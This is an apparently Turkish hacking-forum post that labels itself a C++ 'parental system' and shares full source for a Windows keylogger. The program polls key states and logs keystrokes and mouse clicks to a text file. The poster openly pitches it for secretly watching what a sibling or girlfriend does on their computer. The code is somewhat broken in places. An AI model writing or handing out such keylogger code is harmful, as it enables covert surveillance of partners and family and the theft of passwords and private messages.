Hoşgeldin Misafir

C++ Ebeveyn Sistemi

MiRaT

13 Kas 2017
2,077 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
-Herkese merhaba. Gerek yardım merkezi gerek diğer platformlarda gözlemlediğim kadarıyla insanlar daha çok kardeşinin, veya sevgilisinin bilgisayarında neler döndürdüğünü merak ediyor. 

Tuş işlemleri ile alakalı bir şeyi youtube'da araştırırken şans eseri rastladığım bir algoritma ile bunu sizle paylaşmak istedim. Kodlar şu şekilde
--



Kod:
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <string>
#include <unistd.h>
using namespace std;
//THT-HACKNOLOGY
**** LogYaz(LPCSTR text){
	ofstream logdosya;
	logdosya.open("keylog.txt", fstream::app);
	logdosya << text;
	logdosya.close();
}
bool basilantus(int tus){
	switch(tus){
		case VK_SPACE:
			cout << " ";
			LogYaz(" ");
			break;
		case(VK_RETURN):
			cout << "\n";
			LogYaz("\n");
			break;
		case VK_SHIFT:
			cout << " *Shift* ";
			LogYaz(" *Shift* ");
			break;
		case VK_BACK:
			cout << "\b";
			LogYaz("\b");
			break;
		case VK_RBUTTON:
			cout << " *rclick* ";
			LogYaz(" *rclick* ");
			break;
		case VK_LBUTTON:
			cout << " *lclick";
			LogYaz(" *lclick* ");
			break;
		default: false;
		
	}
}
main(){
	char bastus;
        //THT-HACKNOLOGY
	while(TRUE){
		sleep(10);
		for (bastus=8;bastus<=190;bastus++){
			if (GetAsyncKeyState(bastus) == -32767){
				if (basilantus(bastus) == FALSE){
					ofstream logdosya;
					logdosya.open("keylog.txt", fstream::app);
					logdosya << bastus;
					logdosya.close();
					
				}
			}
		}
	}
}